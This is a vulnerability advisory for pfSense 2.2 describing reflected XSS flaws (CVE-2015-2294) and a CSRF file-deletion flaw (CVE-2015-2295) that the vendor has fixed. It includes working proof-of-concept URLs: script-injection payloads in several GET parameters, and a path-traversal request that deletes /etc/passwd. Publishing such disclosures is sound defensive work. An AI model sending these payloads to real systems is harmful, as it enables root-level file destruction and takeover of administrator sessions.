Arbitrary file deletion and multiple XSS vulnerabilities in pfSense
| Advisory ID: | HTB23251 |
| Product: | pfSense |
| Vendor: | Electric Sheep Fencing LLC |
| Vulnerable Versions: | 2.2 and probably prior |
| Tested Version: | 2.2 |
| Advisory Publication: | March 4, 2015 [without technical details] |
| Vendor Notification: | March 4, 2015 |
| Vendor Fix: | March 5, 2015 |
| Public Disclosure: | March 25, 2015 |
| Latest Update: | March 23, 2015 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352] |
| CVE References: | CVE-2015-2294
CVE-2015-2295 |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks.
Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface.
1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294
1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%2 7ImmuniWeb%27%29;%3C/script%3E
1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscrip t%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3 E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E% 3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Eal ert%28%27ImmuniWeb%27%29;%3C/script%3E
1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/scrip t%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/ script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/scrip t%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script% 3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295
2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.
The following PoC code deletes file "/etc/passwd":
https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passw d
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
Update to pfSense 2.2.1
More Information:
https://blog.pfsense.org/?p=1661 |
| |
References: |
[1] High-Tech Bridge Advisory HTB23251 - https://www.immuniweb.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
